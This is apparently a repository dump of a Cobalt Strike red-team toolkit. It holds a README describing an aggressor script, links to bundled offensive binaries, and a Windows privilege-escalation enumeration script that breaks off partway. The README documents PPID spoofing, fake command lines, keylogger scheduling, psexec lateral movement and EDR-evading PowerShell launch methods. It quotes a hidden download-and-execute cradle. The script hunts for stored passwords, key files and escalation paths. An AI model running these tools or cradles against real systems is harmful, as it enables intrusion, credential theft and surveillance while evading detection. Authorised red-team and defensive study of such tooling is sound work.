301) && ($responseCode <= 304)) { 62 | $loc = [$con getHeaderField: "Location"]; 63 | return httpRequest($method, $loc, $body, $n + 1); 64 | } 65 | 66 | @content = readAll($handle); 67 | $response = ""; 68 | foreach $line (@content) { 69 | $response .= $line . "\r\n"; 70 | } 71 | 72 | if((strlen($response) > 2) && (right($response, 2) eq "\r\n")) { 73 | $response = substr($response, 0, strlen($response) - 2); 74 | } 75 | 76 | return $response; 77 | } 78 | catch $message 79 | { 80 | warn("HTTP Request failed: $method $url : $message "); 81 | printAll(getStackTrace()); 82 | return ""; 83 | } 84 | } -------------------------------------------------------------------------------- /img/1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/img/1.PNG -------------------------------------------------------------------------------- /mgeekys_arsenal/README.md: -------------------------------------------------------------------------------- 1 | ## mgeekys_arsenal.cna 2 | 3 | This is my Cobalt Strike beast aggressor script combining lots of tools, enhancements, aliases and goodies in a single CNA. 4 | 5 | The script is under active development since 2019 and was used successfully on numerous Red Team engagements. Finally time has come to release it to the public `#RedTeam` community with aim to improve effectiveness of delivered engagements and ease our workflows with Cobalt Strike. 6 | 7 | ![Arsenal's options](img/arsenal1.png) 8 | 9 | --- 10 | 11 | ### Introduction 12 | 13 | A collection of my most useful goodies and enhancements for Cobalt Strike 4.0+. 14 | Includes aliases, on beacon initial checkin automated actions (such as smart auto PPID), multiple 15 | UI embellishes, parsing of Beacon-events data (tasked, output, input, etc), powerful hooks and alike. 16 | 17 | --- 18 | 19 | ### 1. Batteries included: 20 | 21 | - adds command `autoppid` for automatically finding suitable PPID and setting it 22 | - adds command `getdomain` to quickly return joined domain name 23 | - adds command `getpid` to printout PIDs of processes matching name 24 | - adds command `home` to change current directory to the user's home directory 25 | - adds command `ipconfig` for listing network interfaces on the machine 26 | - adds command `powershell-clear` for clearing the imported PowerShell script from a Beacon session 27 | - adds command `syncall` to sync all downloaded files on demand 28 | - adds command `whoami` for running `run whoami /user /fo list` 29 | - adds command `assembly` as an alias for `execute-assembly` 30 | - enhances `cd` command to make it restore previous path if `cd -` was issued 31 | - enhances `rm` command to support multiple files/directories removal at once 32 | 33 | - enriches `upload` command to let us use specified target remote path in a second parameter, also it computes MD5 checksum of the uploaded file 34 | 35 | - enriches `execute-assembly` command to look for not found assemblies in a preconfigured directory. 36 | 37 | ![Beacon's exec assembly](img/arsenal6.png) 38 | 39 | - command `shell` was overridden using environment variables in the command line, thus minimizing process tree footprint 40 | 41 | - adds command `psh` as an alternative for `powershell`, using `base64(xor(command))` passed to STDIN 42 | launch strategy (thus avoiding `-Encodedcommand`). Added benefit is better output of 43 | CLIXML error-messages. **CAUTION**: Does not work with `powershell-import` though! 44 | 45 | - adds command `powershell-clear` to clear imported powershell script. 46 | 47 | - adds command `pspane` authored by bluescreenofjeff, to quickly open up process list pane 48 | 49 | - adds command `inline-execute-assembly` which uses preconfigured .NET assemblies lookup directory and 50 | automatically invokes one of supported `inlineExecute-Assembly` / `ExecuteAssembly` BOFs. 51 | 52 | - adds command `stracciatella-activedirectory` to ease use of ActiveDirectory Powershell module straight from Beacon's console. 53 | 54 | ![Beacon's imports](img/arsenal8.png) 55 | 56 | - adds command `import-mailsniper` to import `MailSniper.ps1` 57 | - adds command `import-powerup` to import `PowerUp.ps1` 58 | - adds command `import-powerupsql` to import `PowerUpSQL.ps1` 59 | - adds command `import-powerview` to import `PowerView_dev.ps1` 60 | - adds command `import-thehash` to import `Invoke-TheHash.ps1` 61 | 62 | ![Beacon's launches](img/arsenal7.png) 63 | 64 | - adds command `launch-inveigh` to launch InveighZero in specified options 65 | - adds command `launch-monologue` to launch Internal Monologue attack by Elad Shamir 66 | - adds command `launch-sharpshares` to launch SharpShares by Mitch Moser 67 | - adds command `launch-powerup` to import PowerUp.ps1 and launch Invoke-AllChecks -Verbose 68 | - adds command `launch-rubeus` to quickly launch Rubeus assembly with default options: 'triage' 69 | - adds command `launch-seatbelt` to quickly launch SeatBelt assembly with default options: 'all' 70 | - adds command `launch-sharphound` to launch SharpHound ingestor assembly with default options: `-c All` 71 | - adds command `launch-sharpup` to quickly launch SharpUp assembly 72 | - adds command `launch-sharpdpapi` to quickly launch SharpDPAPI assembly 73 | - adds command `launch-sharpwmi` to launch modified SharpWMI assembly able to retrieve WMI command output 74 | - adds command `launch-watson` to quickly launch Watson assembly 75 | 76 | - adds command `kerberos-purge` to quickly purge all Kerberos tickets from Beacon's process memory 77 | 78 | - adds beacon popup menu called _"Arsenal"_ with following sub-menus: 79 | - _"Job Kill"_ allowing to review list of running Jobs in a Beacon and select one to kill it. 80 | - _"Mass Run"_ offering: Checkin, Jobs, Getuid, Shell, Powershell, Powerpick 81 | - _"Schedule Keylogger and Screenwatch"_ helper to instantly run sleep + screenwatch + keylogger on a beacon 82 | - _"Launch"_ : offering handy way of invoking our defined `launch-*` aliases 83 | 84 | ![Beacon's popup menu](img/arsenal3.png) 85 | 86 | - adds several auto-notes to Beacons on events such as: sleep changed, initial check-in, exit, 87 | domain found, ppid set - that makes it handy to later keep track of such metadata 88 | - adds automated sync-all-downloaded-files to let your downloads always land to the local filesystem. 89 | 90 | 91 | --- 92 | 93 | ### 2. When a new Beacon checks in - here's what happens 94 | 95 | Every below behaviour is controlled via Arsenal's settings, deciding whether these actions should be run. Therefore its possible to turn all of them off. 96 | 97 | ![Beacon's initial actions](img/arsenal4.png) 98 | 99 | 1. Current working directory and domain name are printed to accomodate initial Beacon's cwd & domain 100 | tracked values. 101 | 2. autoppid alias kicks in to spoof Parent PID of Beacon's future post-ex jobs 102 | 3. If _"Preset argue..."_ option was set, we setup a predefined "argue" fake command lines for: 103 | powershell, net, cmd 104 | 4. User defined in _"Beacon Initial Actions Setup"_ automated actions are executed. 105 | 5. User defined in _"Beacon Initial Actions Setup"_ automated argue commands are executed. 106 | 6. Lastly, PowerView.ps1 will be imported using `import-powerview` alias. 107 | 108 | 109 | --- 110 | 111 | ### 3. Customized Powershell Command & Download Cradle: 112 | 113 | This script introduces several different methods for Powershell download and execution primitives, other 114 | than `(Net.WebClient).DownloadString` and `IEX()`: 115 | 116 | ``` 117 | set POWERSHELL_DOWNLOAD_CRADLE { 118 | return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"; 119 | } 120 | [...] 121 | 122 | set POWERSHELL_COMMAND { 123 | [...] 124 | return "powershell -nop -w hidden -encodedcommand $script"; 125 | } 126 | ``` 127 | 128 | Aforementioned methods are heavily flagged these days by 129 | EDRs and AVs so we would prefer to avoid their use. It so happens that Cobalt Strike by default embeds them 130 | excessively, generating lot of noise in such systems. We can tell Cobalt Strike to structure it's Powershell 131 | use patterns differently. However, some of introduced custom methods may not work. In such situations, we 132 | can always switch back to battle tested Cobalt Strike defaults by choosing "Use unsafe Powershell.." 133 | to Always. 134 | 135 | --- 136 | 137 | ### 4. GUI improvements 138 | 139 | - enhances event log right status bar by adding Team Server local/remote IP addresses 140 | - enhances beacon console status bar by adding current working directory information and setting 141 | fixed-width to last-seen meter which avoids shortening-lengthening of the right status bar's length 142 | - colorizes current location in 'ls' and 'pwd' Beacon outputs 143 | - adds timestamp information to every "host called home" line. 144 | 145 | That's visible on the below screenshot marked as "1": 146 | ![Beacon's timestamp](img/arsenal5.png) 147 | 148 | - displays Beacon's current working directory in status bar (above screenshot, positioned marked as "2") 149 | 150 | - adds Arsenal's specific Beacon comments, such as Beacon-number, first-checkin, ppid, sleep time, etc. to status bar (position marked as "3") 151 | 152 | - renames Beacons tabs every 15 seconds according to a configured format. 153 | 154 | 155 | --- 156 | 157 | ### 5. Keyboard shortcuts bound 158 | 159 | - `Ctrl+Tab` - next tab 160 | - `Shift+Ctrl+Tab` - previous tab 161 | - `Shift+Ctrl+S` - Opens script console 162 | - `Ctrl+G` - Opens credentials tab 163 | - `Shift+Ctrl+G` - Open script manager tab 164 | - `Ctrl+H` - Opens Host file tab 165 | - `Shift+Ctrl+H` - Scripted Web Delivery window (Stageless) 166 | - `Ctrl+J` - Opens downloaded files tab 167 | - `Ctrl+L` - Opens listener manager 168 | - `Ctrl+M` - Opens site manager 169 | - `Ctrl+N` - new Teamserver connection dialog 170 | - `Ctrl+P` - Opens keystroke browser 171 | - `Ctrl+Q` - Opens web log tab 172 | - `Ctrl+U` - Opens screenshot browser 173 | - `Ctrl+Y` - Opens target browser 174 | 175 | 176 | --- 177 | 178 | ### 6. Options 179 | 180 | Options control some of the decisions script make. Settings are saved & loaded from an external file. 181 | This script also serializes and saves %OPERATING_BEACONS hash containing metadata information about our 182 | beacons. If anything goes wrong, and we lose track of that hash, we can always either reload the script 183 | to pull settings or use menu options. 184 | 185 | Arsenal's options are available from Cobalt Strike's context menu: 186 | 187 | ![Arsenal's options](img/arsenal2.png) 188 | 189 | - _"On initial Beacon check-in do all the automated stuff"_ - controls whether we should issue all of the 190 | automated stuff described in `When a new Beacon checks in - here's what happens` section above. 191 | - _"Rename Beacon tabs according to this format_" - renames Beacon tabs every 15 seconds to the specified format. See other available placeholders in `renameBeaconTabs.cna` referenced in root's repository README. 192 | - _"Specify local path where to save downloaded files"_ - to be used by auto-sync-downloaded-files logic 193 | - _"Specify local path .NET assemblies should be looked for"_ - to be used if execute-assembly didn't find 194 | specified assembly's name as a lookup directory, similarly to $PATH concept. 195 | - _"During a manual 'syncall' what to do with already existing files?"_ - skip them? overwrite? 196 | - _"Set this to let the script append valuable information..."_ - when enabled, this script will put 197 | Beacon's metadata to it's Notes 198 | - _"Fake PPID on initial Beacon check-in"_ 199 | - _"Preset new Beacons with argue fake command lines."_ - when checked, will issue "argue" for typically 200 | used processes: Powershell, Cmd 201 | - _"Use unsafe but stable Powershell [...] methods"_ - fall back on default Cobalt Strike PS download cradles. 202 | Select to Never to totally avoid them, seldom to use them at random and Always to disable custom ones. 203 | - _"Enable debug output in Script Console"_ 204 | - _"Process name to spoof as parent in PPID"_ 205 | - _"Service name(s) to use in PSExec lateral movement"_ - comma-separeted list of service names to be used 206 | by Cobalt Strike when doing jump psexec/psexec64 207 | - _"When two inline execute-assembly BOF providers are available"_ - If you happen to have loaded one of the following two supported BOFs: [anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) or [med0x2e/ExecuteAssembly](https://github.com/med0x2e/ExecuteAssembly) this option will let you choose one of them to be picked while using an easy wrapper alias `inline-execute-assembly` exposed by this arsenal. 208 | - _"If there is BOF.NET loaded, prefer it over execute-assembly"_ - if BOF.NET is loaded, do not use `execute-assembly` for arsenal's commands (such as `launch-seatbelt`), but rather pick `bofnet_jobassembly`. 209 | 210 | --- 211 | 212 | ### Credits 213 | 214 | This Aggressor script stands on the shoulder of giants utilising their splendid work: 215 | 216 | - fuzzysec: https://github.com/FuzzySecurity/PowerShell-Suite 217 | - rasta-mouse: https://github.com/rasta-mouse/Watson 218 | - Harmj0y & others: https://github.com/GhostPack/ 219 | - Kevin Robertson: https://github.com/Kevin-Robertson/Invoke-TheHash 220 | - nullbind: https://github.com/NetSPI/PowerUpSQL 221 | - dafthack: https://github.com/dafthack/MailSniper 222 | - PowerShellMafia: https://github.com/PowerShellMafia/PowerSploit 223 | - xan7r: https://github.com/xan7r/Misc 224 | - 0xthirteen: https://github.com/0xthirteen/MoveKit 225 | - med0x2e: https://github.com/med0x2e/ExecuteAssembly 226 | - anthemtotheego: https://github.com/anthemtotheego/InlineExecute-Assembly 227 | 228 | And all others offensive cyber security folks whom I may not referenced as well! Please let me know if I'm using your piece of code without properly crediting you. 229 | 230 | --- 231 | 232 | ### How it relates to other scripts in cobalt-arsenal? 233 | 234 | My other scripts that were integrated into this one (so there is no need to load them again): 235 | - `cwd-in-beacon-status-bar.cna` 236 | - `better-upload.cna` 237 | - `httprequest.cna` 238 | - `smart-autoppid.cna` 239 | - `custom-powershell-hooks.cna` 240 | - `BeaconInitialTasks.cna` 241 | - `rename-beacon-tabs.cna` 242 | 243 | --- 244 | 245 | ### TODO 246 | 247 | - argue manager available from Beacon's context menu 248 | - explore how we could leverage results from `keystrokes()`; 249 | - add more keyboard shortcuts(e.g. `openWindowsExecutableStage()`) 250 | 251 | 252 | --- 253 | 254 | ### ☕ Show Support ☕ 255 | 256 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, 257 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 258 | 259 | --- 260 | 261 | ### Author 262 | 263 | ``` 264 | Mariusz Banach / mgeeky, '19-'21 265 | 266 | (https://github.com/mgeeky) 267 | v0.6 268 | ``` 269 | 270 | I deeply believe in sharing our tools and knowledge to improve global cybersecurity's resilience. -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal1.png -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal2.png -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal3.png -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal4.png -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal5.png -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal6.png -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal7.png -------------------------------------------------------------------------------- /mgeekys_arsenal/img/arsenal8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/img/arsenal8.png -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/InternalMonologue.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/InternalMonologue.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/Inveigh.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/Inveigh.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/Rubeus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/Rubeus.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/Seatbelt.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/Seatbelt.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/SharpDPAPI.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/SharpDPAPI.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/SharpHound.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/SharpHound.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/SharpShares-mitch.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/SharpShares-mitch.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/SharpUp.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/SharpUp.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/SharpView.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/SharpView.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/SharpWMI.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/SharpWMI.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/Watson.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/cobalt-arsenal/41836eeb02d1be01222fdd5020d284ea9fec7b3a/mgeekys_arsenal/modules/Watson.exe -------------------------------------------------------------------------------- /mgeekys_arsenal/modules/jaws-enum.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-Jaws { 2 | write-output "`nRunning J.A.W.S. Enumeration" 3 | $output = "" 4 | $output = $output + "############################################################`r`n" 5 | $output = $output + "## J.A.W.S. (Just Another Windows Enum Script) ##`r`n" 6 | $output = $output + "## ##`r`n" 7 | $output = $output + "## https://github.com/411Hall/JAWS ##`r`n" 8 | $output = $output + "## ##`r`n" 9 | $output = $output + "############################################################`r`n" 10 | $output = $output + "`r`n" 11 | $win_version = (Get-WmiObject -class Win32_OperatingSystem) 12 | $output = $output + "Windows Version: " + (($win_version.caption -join $win_version.version) + "`r`n") 13 | $output = $output + "Architecture: " + (($env:processor_architecture) + "`r`n") 14 | $output = $output + "Hostname: " + (($env:ComputerName) + "`r`n") 15 | $output = $output + "Current User: " + (($env:username) + "`r`n") 16 | $output = $output + "Current Time\Date: " + (get-date) 17 | $output = $output + "`r`n" 18 | $output = $output + "`r`n" 19 | write-output " - Gathering User Information" 20 | $output = $output + "-----------------------------------------------------------`r`n" 21 | $output = $output + " Users`r`n" 22 | $output = $output + "-----------------------------------------------------------`r`n" 23 | $adsi = [ADSI]"WinNT://$env:COMPUTERNAME" 24 | $adsi.Children | where {$_.SchemaClassName -eq 'user'} | Foreach-Object { 25 | $groups = $_.Groups() | Foreach-Object {$_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)} 26 | $output = $output + "----------`r`n" 27 | $output = $output + "Username: " + $_.Name + "`r`n" 28 | $output = $output + "Groups: " + $groups + "`r`n" 29 | } 30 | $output = $output + "`r`n" 31 | $output = $output + "-----------------------------------------------------------`r`n" 32 | $output = $output + " Network Information`r`n" 33 | $output = $output + "-----------------------------------------------------------`r`n" 34 | $output = $output + (ipconfig | out-string) 35 | $output = $output + "`r`n" 36 | $output = $output + "-----------------------------------------------------------`r`n" 37 | $output = $output + " Arp`r`n" 38 | $output = $output + "-----------------------------------------------------------`r`n" 39 | $output = $output + (arp -a | out-string) 40 | $output = $output + "`r`n" 41 | $output = $output + "`r`n" 42 | $output = $output + "-----------------------------------------------------------`r`n" 43 | $output = $output + " NetStat`r`n" 44 | $output = $output + "-----------------------------------------------------------`r`n" 45 | $output = $output + (netstat -ano | out-string) 46 | $output = $output + "`r`n" 47 | $output = $output + "`r`n" 48 | $output = $output + "-----------------------------------------------------------`r`n" 49 | $output = $output + " Firewall Status`r`n" 50 | $output = $output + "-----------------------------------------------------------`r`n" 51 | $output = $output + "`r`n" 52 | $Firewall = New-Object -com HNetCfg.FwMgr 53 | $FireProfile = $Firewall.LocalPolicy.CurrentProfile 54 | if ($FireProfile.FirewallEnabled -eq $False) { 55 | $output = $output + ("Firewall is Disabled" + "`r`n") 56 | } else { 57 | $output = $output + ("Firwall is Enabled" + "`r`n") 58 | } 59 | $output = $output + "`r`n" 60 | $output = $output + "-----------------------------------------------------------`r`n" 61 | $output = $output + " FireWall Rules`r`n" 62 | $output = $output + "-----------------------------------------------------------`r`n" 63 | Function Get-FireWallRule 64 | {Param ($Name, $Direction, $Enabled, $Protocol, $profile, $action, $grouping) 65 | $Rules=(New-object -comObject HNetCfg.FwPolicy2).rules 66 | If ($name) {$rules= $rules | where-object {$_.name -like $name}} 67 | If ($direction) {$rules= $rules | where-object {$_.direction -eq $direction}} 68 | If ($Enabled) {$rules= $rules | where-object {$_.Enabled -eq $Enabled}} 69 | If ($protocol) {$rules= $rules | where-object {$_.protocol -eq $protocol}} 70 | If ($profile) {$rules= $rules | where-object {$_.Profiles -bAND $profile}} 71 | If ($Action) {$rules= $rules | where-object {$_.Action -eq $Action}} 72 | If ($Grouping) {$rules= $rules | where-object {$_.Grouping -like $Grouping}} 73 | $rules} 74 | $output = $output + (Get-firewallRule -enabled $true | sort direction,applicationName,name | format-table -property Name , localPorts,applicationname | out-string) 75 | $output = $output + "-----------------------------------------------------------`r`n" 76 | $output = $output + " Hosts File Content`r`n" 77 | $output = $output + "-----------------------------------------------------------`r`n" 78 | $output = $output + "`r`n" 79 | $output = $output + ((get-content $env:windir\System32\drivers\etc\hosts | out-string) + "`r`n") 80 | $output = $output + "`r`n" 81 | write-output " - Gathering Processes, Services and Scheduled Tasks" 82 | $output = $output + "-----------------------------------------------------------`r`n" 83 | $output = $output + " Processes`r`n" 84 | $output = $output + "-----------------------------------------------------------`r`n" 85 | $output = $output + ((Get-WmiObject win32_process | Select-Object Name,ProcessID,@{n='Owner';e={$_.GetOwner().User}},CommandLine | sort name | format-table -wrap -autosize | out-string) + "`r`n") 86 | $output = $output + "-----------------------------------------------------------`r`n" 87 | $output = $output + " Scheduled Tasks`r`n" 88 | $output = $output + "-----------------------------------------------------------`r`n" 89 | $output = $output + "Current System Time: " + (get-date) 90 | $output = $output + (schtasks /query /FO CSV /v | convertfrom-csv | where { $_.TaskName -ne "TaskName" } | select "TaskName","Run As User", "Task to Run" | fl | out-string) 91 | $output = $output + "`r`n" 92 | $output = $output + "-----------------------------------------------------------`r`n" 93 | $output = $output + " Services`r`n" 94 | $output = $output + "-----------------------------------------------------------`r`n" 95 | $output = $output + (get-service | Select Name,DisplayName,Status | sort status | Format-Table -Property * -AutoSize | Out-String -Width 4096) 96 | $output = $output + "`r`n" 97 | write-output " - Gathering Installed Software" 98 | $output = $output + "`r`n" 99 | $output = $output + "-----------------------------------------------------------`r`n" 100 | $output = $output + " Installed Programs`r`n" 101 | $output = $output + "-----------------------------------------------------------`r`n" 102 | $output = $output + (get-wmiobject -Class win32_product | select Name, Version, Caption | ft -hidetableheaders -autosize| out-string -Width 4096) 103 | $output = $output + "`r`n" 104 | $output = $output + "-----------------------------------------------------------`r`n" 105 | $output = $output + " Installed Patches`r`n" 106 | $output = $output + "-----------------------------------------------------------`r`n" 107 | $output = $output + (Get-Wmiobject -class Win32_QuickFixEngineering -namespace "root\cimv2" | select HotFixID, InstalledOn| ft -autosize | out-string ) 108 | $output = $output + "`r`n" 109 | $output = $output + "-----------------------------------------------------------`r`n" 110 | $output = $output + " Program Folders`r`n" 111 | $output = $output + "-----------------------------------------------------------`r`n" 112 | $output = $output + "`n`rC:\Program Files`r`n" 113 | $output = $output + "-------------" 114 | $output = $output + (get-childitem "C:\Program Files" -EA SilentlyContinue | select Name | ft -hidetableheaders -autosize| out-string) 115 | $output = $output + "C:\Program Files (x86)`r`n" 116 | $output = $output + "-------------------" 117 | $output = $output + (get-childitem "C:\Program Files (x86)" -EA SilentlyContinue | select Name | ft -hidetableheaders -autosize| out-string) 118 | $output = $output + "`r`n" 119 | write-output " - Gathering File System Information" 120 | $output = $output + "-----------------------------------------------------------`r`n" 121 | $output = $output + " Files with Full Control and Modify Access`r`n" 122 | $output = $output + "-----------------------------------------------------------`r`n" 123 | $files = get-childitem C:\ 124 | foreach ($file in $files){ 125 | try { 126 | $output = $output + (get-childitem "C:\$file" -include *.ps1,*.bat,*.com,*.vbs,*.txt,*.html,*.conf,*.rdp,.*inf,*.ini -recurse -EA SilentlyContinue | get-acl -EA SilentlyContinue | select path -expand access | 127 | where {$_.identityreference -notmatch "BUILTIN|NT AUTHORITY|EVERYONE|CREATOR OWNER|NT SERVICE"} | where {$_.filesystemrights -match "FullControl|Modify"} | 128 | ft @{Label="";Expression={Convert-Path $_.Path}} -hidetableheaders -autosize | out-string -Width 4096) 129 | } 130 | catch { 131 | $output = $output + "`nFailed to read more files`r`n" 132 | } 133 | } 134 | 135 | $output = $output + "-----------------------------------------------------------`r`n" 136 | $output = $output + " Folders with Full Control and Modify Access`r`n" 137 | $output = $output + "-----------------------------------------------------------`r`n" 138 | $folders = get-childitem C:\ 139 | foreach ($folder in $folders){ 140 | try { 141 | $output = $output + (Get-ChildItem -Recurse "C:\$folder" -EA SilentlyContinue | ?{ $_.PSIsContainer} | get-acl | select path -expand access | 142 | where {$_.identityreference -notmatch "BUILTIN|NT AUTHORITY|CREATOR OWNER|NT SERVICE"} | where {$_.filesystemrights -match "FullControl|Modify"} | 143 | select path,filesystemrights,IdentityReference | ft @{Label="";Expression={Convert-Path $_.Path}} -hidetableheaders -autosize | out-string -Width 4096) 144 | } 145 | catch { 146 | $output = $output + "`nFailed to read more folders`r`n" 147 | } 148 | } 149 | $output = $output + "`r`n" 150 | $output = $output + "-----------------------------------------------------------`r`n" 151 | $output = $output + " Mapped Drives`r`n" 152 | $output = $output + "-----------------------------------------------------------`r`n" 153 | $output = $output + (Get-WmiObject -Class Win32_LogicalDisk | select DeviceID, VolumeName | ft -hidetableheaders -autosize | out-string -Width 4096) 154 | $output = $output + "-----------------------------------------------------------`r`n" 155 | $output = $output + " Unquoted Service Paths`r`n" 156 | $output = $output + "-----------------------------------------------------------`r`n" 157 | $output = $output + (cmd /c 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """') 158 | $output = $output + "`r`n" 159 | $output = $output + "-----------------------------------------------------------`r`n" 160 | $output = $output + " Recent Documents`r`n" 161 | $output = $output + "-----------------------------------------------------------`r`n" 162 | $output = $output + (get-childitem "C:\Users\$env:username\AppData\Roaming\Microsoft\Windows\Recent" -EA SilentlyContinue | select Name | ft -hidetableheaders | out-string ) 163 | $output = $output + "`r`n" 164 | $output = $output + "-----------------------------------------------------------`r`n" 165 | $output = $output + " Potentially Interesting Files in Users Directory `r`n" 166 | $output = $output + "-----------------------------------------------------------`r`n" 167 | $output = $output + (get-childitem "C:\Users\" -recurse -Include *.zip,*.rar,*.7z,*.gz,*.conf,*.rdp,*.kdbx,*.crt,*.pem,*.ppk,*.txt,*.xml,*.vnc.*.ini,*.vbs,*.bat,*.ps1,*.cmd -EA SilentlyContinue | %{$_.FullName } | out-string) 168 | $output = $output + "`r`n" 169 | $output = $output + "-----------------------------------------------------------`r`n" 170 | $output = $output + " 10 Last Modified Files in C:\User`r`n" 171 | $output = $output + "-----------------------------------------------------------`r`n" 172 | $output = $output + (Get-ChildItem 'C:\Users' -recurse -EA SilentlyContinue | Sort {$_.LastWriteTime} | %{$_.FullName } | select -last 10 | ft -hidetableheaders | out-string) 173 | $output = $output + "`r`n" 174 | $output = $output + "-----------------------------------------------------------`r`n" 175 | $output = $output + " MUICache Files`r`n" 176 | $output = $output + "-----------------------------------------------------------`r`n" 177 | get-childitem "HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\" -EA SilentlyContinue | 178 | foreach { $CurrentKey = (Get-ItemProperty -Path $_.PsPath) 179 | if ($CurrentKey -match "C:\\") { 180 | $output = $output + ($_.Property -join "`r`n") 181 | } 182 | } 183 | $output = $output + "`r`n" 184 | $output = $output + "`r`n" 185 | write-output " - Looking for Simple Priv Esc Methods" 186 | $output = $output + "-----------------------------------------------------------`r`n" 187 | $output = $output + " System Files with Passwords`r`n" 188 | $output = $output + "-----------------------------------------------------------`r`n" 189 | $files = ("unattended.xml", "sysprep.xml", "autounattended.xml","unattended.inf", "sysprep.inf", "autounattended.inf","unattended.txt", "sysprep.txt", "autounattended.txt") 190 | $output = $output + (get-childitem C:\ -recurse -include $files -EA SilentlyContinue | Select-String -pattern "" | out-string) 191 | $output = $output + "`r`n" 192 | $output = $output + "-----------------------------------------------------------`r`n" 193 | $output = $output + " AlwaysInstalledElevated Registry Key`r`n" 194 | $output = $output + "-----------------------------------------------------------`r`n" 195 | $HKLM = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" 196 | $HKCU = "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" 197 | if (($HKLM | test-path) -eq "True") 198 | { 199 | if (((Get-ItemProperty -Path $HKLM -Name AlwaysInstallElevated).AlwaysInstallElevated) -eq 1) 200 | { 201 | $output = $output + "AlwaysInstallElevated enabled on this host!" 202 | } 203 | } 204 | if (($HKCU | test-path) -eq "True") 205 | { 206 | if (((Get-ItemProperty -Path $HKCU -Name AlwaysInstallElevated).AlwaysInstallElevated) -eq 1) 207 | { 208 | $output = $output + "AlwaysInstallElevated enabled on this host!" 209 | 